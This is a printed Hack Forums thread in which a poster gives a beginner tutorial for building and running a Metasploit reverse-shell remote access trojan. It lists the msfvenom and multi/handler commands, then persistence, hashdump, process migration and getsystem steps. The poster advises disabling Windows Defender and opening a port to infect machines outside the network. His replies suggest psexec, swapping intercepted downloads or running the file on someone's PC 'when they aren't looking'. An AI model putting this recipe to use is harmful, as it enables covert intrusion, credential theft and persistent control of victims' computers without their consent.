![]() |
|
How to pentestbox on Windows 10 - Make your first LAN RAT. - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4) +----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47) +----- Thread: How to pentestbox on Windows 10 - Make your first LAN RAT. (/showthread.php?tid=5901770) Pages: Pages
1
2
|
How to pentestbox on Windows 10 - Make your first LAN RAT. - Mr. Robot - Oct 31, 2018 Simple guide. Will update it later on. I'll be running simple tutorials from the beginning like this to catch new users up to speed. One after the other, even if you think it's trivial - if you know what kinda shit I got in store in the long run, follow along otherwise you will fall behind. 1. Download and install pentest box with metasploit from here: https://pentestbox.org/ ![]() 2. Run it and install it to default root directory (C:/PentestBox) (you may need to disable windows defender as there are known CVEs in the directories) ![]() 3. Once installed, go to that folder and run PentestBox.exe ![]() Now we create a RAT using metasploit. We wont even bother trying to crypt it. 1. Type in ipconfig and note your IPv4 address, now click the green + button at the top right corner and click start to open another tab. ![]() 2. In the new tab type in the following or copy paste it. Replace LHOST=######## with LHOST=IPv4 such as LHOST=192.168.1.22 Code msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=########### LPORT=4444 -o testfile.exe![]() 3. Open another tab by pressing the green plus button, then start. Type in msfconsole (give it a minute, it will take its time and will pop an error first run) ![]() 4. Now type in the following: Code use multi/handlerCode set payload windows/meterpreter/reverse_tcpReplace IPV4 again with your IPv4 address. Code set LHOST IPV4Code set LPORT 4444Code run5. Now all you need to do is execute that file on a computer within your network. Simply run it on your own PC that you are currently using - navigate to the file you created which will be located here in this folder: "C:\PentestBox\bin\metasploit-framework" When you click run on the file that we called testfile.exe you will see a connection in your pentestbox. Now you have control there is so much you can do. Also yes you guessed it, simply open a port on your network and change the local IP for both the file and listening IP to infect outside your network. ![]() Code Core CommandsI'd of course recommend adding persistence using the following Code run persistence -X -U -A -L %TEMP% -i 5 -r ######### -p ####Then try do something fun like Code hashdumpIf hashdump doesn't work, you might need to migrate to a system process. To do that simply Code psThen look for a system process and its ID such as svchost.exe - mine is 11528 Code migrate 11528Make sure to use getsystem to elevate privileges Code getsystemAnd Code getprivsRE: How to pentestbox on Windows 10 - Make your first LAN RAT. - pmtobefriend - Oct 31, 2018 "Now we create a RAT using metasploit. We wont even bother trying to crypt it." What does a metasploit RAT does? What are the features? and could I use this tutorial to run a .txt file of my choice on all the pc's connected to the same network? RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - Mr. Robot - Oct 31, 2018 (Oct 31, 2018 02:41 PM)pmtobefriend Wrote: "Now we create a RAT using metasploit. We wont even bother trying to crypt it." What does a metasploit RAT does? What are the features? The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. The features are whatever you code/look for. You can look into other RATs such as FatRat for example that has more features (still using metasploit as the base) Yes you could run a .txt file of your choice on the computers. RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - Riggs - Nov 1, 2018 Solid tutorial. Need more of these in this section. RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - GagZa3 - Nov 1, 2018 what a lovely tutorial great RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - Porn - Nov 1, 2018 Nice tut, if you wanted to spread it outside of your network you would just change it to your public ip/port RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - Mr. Robot - Nov 1, 2018 (Nov 1, 2018 10:37 PM)pokitame Wrote: Nice tut, if you wanted to spread it outside of your network you would just change it to your public ip/port Yes as posted in the thread.. RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - AptX01 - Nov 2, 2018 nice tutor. need more like this thanks OP RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - SIM-4018496 - Nov 2, 2018 do you guyz get the feeling that some user on HF just live in another dimension? light another league for themselves? thanks a lot Mr R RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - Mr. Robot - Nov 2, 2018 (Nov 2, 2018 04:47 AM)AptX01 Wrote: nice tutor. need more like this Well more on the way soon mate. RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - Danked - Nov 2, 2018 So, what does that mean? Everyone on the same network as your computer, you will inject a rat in their device? RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - pmtobefriend - Nov 2, 2018 (Oct 31, 2018 03:44 PM)Mr. Robot Wrote: The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. I looked at some video about it and it seems like it upload somewhere on the network but you cannot have the file being drop on a pc desktop / folder ? automaticly? RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - Mr. Robot - Nov 2, 2018 (Nov 2, 2018 06:19 PM)Danked Wrote: So, what does that mean? Everyone on the same network as your computer, you will inject a rat in their device? No to do that you would need to use something like psexec to try move the file locally and run it. You can intercept downloads on your network and replace it with your file we made otherwise just run it on their PC when they aren't looking. RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - Mr. Robot - Feb 7, 2019 This is amazing for you guys wanting to learn RE: How to pentestbox on Windows 10 - Make your first LAN RAT. - R A B B - Feb 7, 2019 Great work Robot! I actually saved this |